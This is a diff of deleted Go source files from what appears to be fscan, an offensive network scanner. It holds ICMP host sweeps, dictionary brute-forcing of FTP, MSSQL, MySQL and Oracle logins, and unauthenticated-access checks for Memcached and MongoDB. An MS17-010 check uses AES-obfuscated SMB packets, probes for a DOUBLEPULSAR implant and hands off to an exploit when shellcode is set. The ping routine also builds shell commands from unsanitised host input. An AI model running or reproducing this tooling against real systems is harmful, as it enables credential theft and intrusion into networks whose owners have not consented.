"crypto/aes"
"crypto/cipher"
"encoding/base64"
"net"
)
var PluginList = map[string]interface{}{
"21": FtpScan,
"22": SshScan,
"135": Findnet,
"139": NetBIOS,
"445": SmbScan,
"1433": MssqlScan,
"1521": OracleScan,
"3306": MysqlScan,
"3389": RdpScan,
"5432": PostgresScan,
"6379": RedisScan,
"9000": FcgiScan,
"11211": MemcachedScan,
"27017": MongodbScan,
"1000001": MS17010,
"1000002": SmbGhost,
"1000003": WebTitle,
"1000004": SmbScan2,
"1000005": WmiExec,
}
func ReadBytes(conn net.Conn) (result []byte, err error) {
size := 4096
buf := make([]byte, size)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result = append(result, buf[0:count]...)
if count < size {
break
}
}
if len(result) > 0 {
err = nil
}
return result, err
}
var key = "0123456789abcdef"
func AesEncrypt(orig string, key string) string {
// 转成字节数组
origData := []byte(orig)
k := []byte(key)
// 分组秘钥
// NewCipher该函数限制了输入k的长度必须为16, 24或者32
block, _ := aes.NewCipher(k)
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 补全码
origData = PKCS7Padding(origData, blockSize)
// 加密模式
blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
// 创建数组
cryted := make([]byte, len(origData))
// 加密
blockMode.CryptBlocks(cryted, origData)
return base64.StdEncoding.EncodeToString(cryted)
}
func AesDecrypt(cryted string, key string) string {
// 转成字节数组
crytedByte, _ := base64.StdEncoding.DecodeString(cryted)
k := []byte(key)
// 分组秘钥
block, _ := aes.NewCipher(k)
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 加密模式
blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
// 创建数组
orig := make([]byte, len(crytedByte))
// 解密
blockMode.CryptBlocks(orig, crytedByte)
// 去补全码
orig = PKCS7UnPadding(orig)
return string(orig)
}
// 补码
// AES加密数据块分组长度必须为128bit(byte[16])密钥长度可以是128bit(byte[16])、192bit(byte[24])、256bit(byte[32])中的任意一个。
func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
padding := blocksize - len(ciphertext)%blocksize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
// 去码
func PKCS7UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}

View File

@ -1,123 +0,0 @@
package Plugins
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"strconv"
"strings"
"time"
)
var (
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
func Findnet(info *common.HostInfo) error {
err := FindnetScan(info)
return err
}
func FindnetScan(info *common.HostInfo) error {
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return err
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return err
}
_, err = conn.Write(bufferV1)
if err != nil {
return err
}
reply := make([]byte, 4096)
_, err = conn.Read(reply)
if err != nil {
return err
}
_, err = conn.Write(bufferV2)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 42 {
return err
}
text := reply[42:]
flag := true
for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) {
text = text[:i-4]
flag = false
break
}
}
if flag {
return err
}
err = read(text, info.Host)
return err
}
func HexUnicodeStringToString(src string) string {
sText := ""
if len(src)%4 != 0 {
src += src[:len(src)-len(src)%4]
}
for i := 0; i < len(src); i = i + 4 {
sText += "\\u" + src[i+2:i+4] + src[i:i+2]
}
textUnquoted := sText
sUnicodev := strings.Split(textUnquoted, "\\u")
var context string
for _, v := range sUnicodev {
if len(v) < 1 {
continue
}
temp, err := strconv.ParseInt(v, 16, 32)
if err != nil {
return ""
}
context += fmt.Sprintf("%c", temp)
}
return context
}
func read(text []byte, host string) error {
encodedStr := hex.EncodeToString(text)
hn := ""
for i := 0; i < len(encodedStr)-4; i = i + 4 {
if encodedStr[i:i+4] == "0000" {
break
}
hn += encodedStr[i : i+4]
}
var name string
name = HexUnicodeStringToString(hn)
hostnames := strings.Replace(encodedStr, "0700", "", -1)
hostname := strings.Split(hostnames, "000000")
result := "[*] NetInfo \n[*]" + host
if name != "" {
result += "\n [->]" + name
}
hostname = hostname[1:]
for i := 0; i < len(hostname); i++ {
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
host, err := hex.DecodeString(hostname[i])
if err != nil {
return err
}
result += "\n [->]" + string(host)
}
common.LogSuccess(result)
return nil
}

View File

@ -1,79 +0,0 @@
package Plugins
import (
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func FtpScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
flag, err := FtpConn(info, "anonymous", "")
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
}
for _, user := range common.Userdict["ftp"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
if err == nil {
err = conn.Login(Username, Password)
if err == nil {
flag = true
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
//defer conn.Logout()
if err == nil {
if len(dirs) > 0 {
for i := 0; i < len(dirs); i++ {
if len(dirs[i].Name) > 50 {
result += "\n [->]" + dirs[i].Name[:50]
} else {
result += "\n [->]" + dirs[i].Name
}
if i == 5 {
break
}
}
}
}
common.LogSuccess(result)
}
}
return flag, err
}

View File

@ -1,310 +0,0 @@
package Plugins
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
AliveHosts []string
ExistHosts = make(map[string]struct{})
livewg sync.WaitGroup
)
func CheckLive(hostslist []string, Ping bool) []string {
chanHosts := make(chan string, len(hostslist))
go func() {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
if common.Silent == false {
if Ping == false {
fmt.Printf("(icmp) Target %-15s is alive\n", ip)
} else {
fmt.Printf("(ping) Target %-15s is alive\n", ip)
}
}
AliveHosts = append(AliveHosts, ip)
}
livewg.Done()
}
}()
if Ping == true {
//使用ping探测
RunPing(hostslist, chanHosts)
} else {
//优先尝试监听本地icmp,批量探测
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
} else {
common.LogError(err)
//尝试无监听icmp探测
fmt.Println("trying RunIcmp2")
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err == nil {
RunIcmp2(hostslist, chanHosts)
} else {
common.LogError(err)
//使用ping探测
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
RunPing(hostslist, chanHosts)
}
}
}
livewg.Wait()
close(chanHosts)
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
common.LogSuccess(output)
}
}
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
common.LogSuccess(output)
}
}
return AliveHosts
}
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
go func() {
for {
if endflag == true {
return
}
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
for _, host := range hostslist {
dst, _ := net.ResolveIPAddr("ip", host)
IcmpByte := makemsg(host)
conn.WriteTo(IcmpByte, dst)
}
//根据hosts数量修改icmp监听时间
start := time.Now()
for {
if len(AliveHosts) == len(hostslist) {
break
}
since := time.Since(start)
var wait time.Duration
switch {
case len(hostslist) <= 256:
wait = time.Second * 3
default:
wait = time.Second * 6
}
if since > wait {
break
}
}
endflag = true
conn.Close()
}
func RunIcmp2(hostslist []string, chanHosts chan string) {
num := 1000
if len(hostslist) < num {
num = len(hostslist)
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
<-limiter
wg.Done()
}(host)
}
wg.Wait()
close(limiter)
}
func icmpalive(host string) bool {
startTime := time.Now()
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
if err != nil {
return false
}
defer conn.Close()
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
return false
}
msg := makemsg(host)
if _, err := conn.Write(msg); err != nil {
return false
}
receive := make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
}
return true
}
func RunPing(hostslist []string, chanHosts chan string) {
var wg sync.WaitGroup
limiter := make(chan struct{}, 50)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
if ExecCommandPing(host) {
livewg.Add(1)
chanHosts <- host
}
<-limiter
wg.Done()
}(host)
}
wg.Wait()
}
func ExecCommandPing(ip string) bool {
var command *exec.Cmd
switch runtime.GOOS {
case "windows":
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
case "darwin":
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
default: //linux
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
}
outinfo := bytes.Buffer{}
command.Stdout = &outinfo
err := command.Start()
if err != nil {
return false
}
if err = command.Wait(); err != nil {
return false
} else {
if strings.Contains(outinfo.String(), "true") && strings.Count(outinfo.String(), ip) > 2 {
return true
} else {
return false
}
}
}
func makemsg(host string) []byte {
msg := make([]byte, 40)
id0, id1 := genIdentifier(host)
msg[0] = 8
msg[1] = 0
msg[2] = 0
msg[3] = 0
msg[4], msg[5] = id0, id1
msg[6], msg[7] = genSequence(1)
check := checkSum(msg[0:40])
msg[2] = byte(check >> 8)
msg[3] = byte(check & 255)
return msg
}
func checkSum(msg []byte) uint16 {
sum := 0
length := len(msg)
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer := uint16(^sum)
return answer
}
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8)
ret2 := byte(v & 255)
return ret1, ret2
}
func genIdentifier(host string) (byte, byte) {
return host[0], host[1]
}
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
if len(arrInit) == 0 {
return
}
arrMap1 := make(map[string]int)
arrMap2 := make(map[string]int)
for _, value := range arrInit {
line := strings.Split(value, ".")
if len(line) == 4 {
if flag {
value = fmt.Sprintf("%s.%s", line[0], line[1])
} else {
value = fmt.Sprintf("%s.%s.%s", line[0], line[1], line[2])
}
}
if arrMap1[value] != 0 {
arrMap1[value]++
} else {
arrMap1[value] = 1
}
}
for k, v := range arrMap1 {
arrMap2[k] = v
}
i := 0
for range arrMap1 {
var maxCountKey string
var maxCountVal = 0
for key, val := range arrMap2 {
if val > maxCountVal {
maxCountVal = val
maxCountKey = key
}
}
arrTop = append(arrTop, maxCountKey)
arrLen = append(arrLen, maxCountVal)
i++
if i >= length {
return
}
delete(arrMap2, maxCountKey)
}
return
}

View File

@ -1,38 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MemcachedScan(info *common.HostInfo) (err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if client != nil {
client.Close()
}
}()
if err == nil {
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err == nil {
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
if err == nil {
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err == nil {
if strings.Contains(string(rev[:n]), "STAT") {
result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
common.LogSuccess(result)
}
} else {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
}
}
}
}
return err
}

View File

@ -1,86 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MongodbScan(info *common.HostInfo) error {
if common.IsBrute {
return nil
}
_, err := MongodbUnauth(info)
if err != nil {
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
}
return err
}
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
// op_msg
packet1 := []byte{
0x69, 0x00, 0x00, 0x00, // messageLength
0x39, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
0x00, 0x00, 0x00, 0x00, // flagBits
// sections db.adminCommand({getLog: "startupWarnings"})
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
}
//op_query
packet2 := []byte{
0x48, 0x00, 0x00, 0x00, // messageLength
0x02, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
0x00, 0x00, 0x00, 0x00, // flags
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
0x00, 0x00, 0x00, 0x00, // numberToSkip
0x01, 0x00, 0x00, 0x00, // numberToReturn
// query db.adminCommand({getLog: "startupWarnings"})
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
checkUnAuth := func(address string, packet []byte) (string, error) {
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return "", err
}
defer conn.Close()
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return "", err
}
_, err = conn.Write(packet)
if err != nil {
return "", err
}
reply := make([]byte, 1024)
count, err := conn.Read(reply)
if err != nil {
return "", err
}
return string(reply[0:count]), nil
}
// send OP_MSG first
reply, err := checkUnAuth(realhost, packet1)
if err != nil {
reply, err = checkUnAuth(realhost, packet2)
if err != nil {
return flag, err
}
}
if strings.Contains(reply, "totalLinesWritten") {
flag = true
result := fmt.Sprintf("[+] Mongodb %v unauthorized", realhost)
common.LogSuccess(result)
}
return flag, err
}

View File

@ -1,165 +0,0 @@
package Plugins
import (
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
var (
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
negotiateProtocolRequest, _ = hex.DecodeString(AesDecrypt(negotiateProtocolRequest_enc, key))
sessionSetupRequest, _ = hex.DecodeString(AesDecrypt(sessionSetupRequest_enc, key))
treeConnectRequest, _ = hex.DecodeString(AesDecrypt(treeConnectRequest_enc, key))
transNamedPipeRequest, _ = hex.DecodeString(AesDecrypt(transNamedPipeRequest_enc, key))
trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
)
func MS17010(info *common.HostInfo) error {
if common.IsBrute {
return nil
}
err := MS17010Scan(info)
if err != nil {
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
common.LogError(errlog)
}
return err
}
func MS17010Scan(info *common.HostInfo) error {
ip := info.Host
// connecting to a host in LAN if reachable should be very quick
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
_, err = conn.Write(negotiateProtocolRequest)
if err != nil {
return err
}
reply := make([]byte, 1024)
// let alone half packet
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
return err
}
_, err = conn.Write(sessionSetupRequest)
if err != nil {
return err
}
n, err := conn.Read(reply)
if err != nil || n < 36 {
return err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
var Err = errors.New("can't determine whether target is vulnerable or not")
return Err
}
// extract OS info
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response")
} else {
// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "", -1)
break
}
}
}
}
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// TODO change the ip in tree path though it doesn't matter
_, err = conn.Write(treeConnectRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
_, err = conn.Write(transNamedPipeRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
result := fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os)
common.LogSuccess(result)
defer func() {
if common.SC != "" {
MS17010EXP(info)
}
}()
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
_, err = conn.Write(trans2SessionSetupRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if reply[34] == 0x51 {
result := fmt.Sprintf("[+] MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", ip)
common.LogSuccess(result)
}
} else {
result := fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os)
common.LogSuccess(result)
}
return err
}

View File

@ -1,57 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MssqlScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mssql %v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}

View File

@ -1,57 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MysqlScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["mysql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
db, err := sql.Open("mysql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mysql %v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}

View File

@ -1,57 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/common"
_ "github.com/sijms/go-ora/v2"
"strings"
"time"
)
func OracleScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["oracle"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := OracleConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
db, err := sql.Open("oracle", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] oracle %v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}

View File

@ -1,118 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"sort"
"strconv"
"sync"
"time"
)
type Addr struct {
ip string
port int
}
func PortScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string
probePorts := common.ParsePort(ports)
if len(probePorts) == 0 {
fmt.Printf("[-] parse port %s error, please check your port format\n", ports)
return AliveAddress
}
noPorts := common.ParsePort(common.NoPorts)
if len(noPorts) > 0 {
temp := map[int]struct{}{}
for _, port := range probePorts {
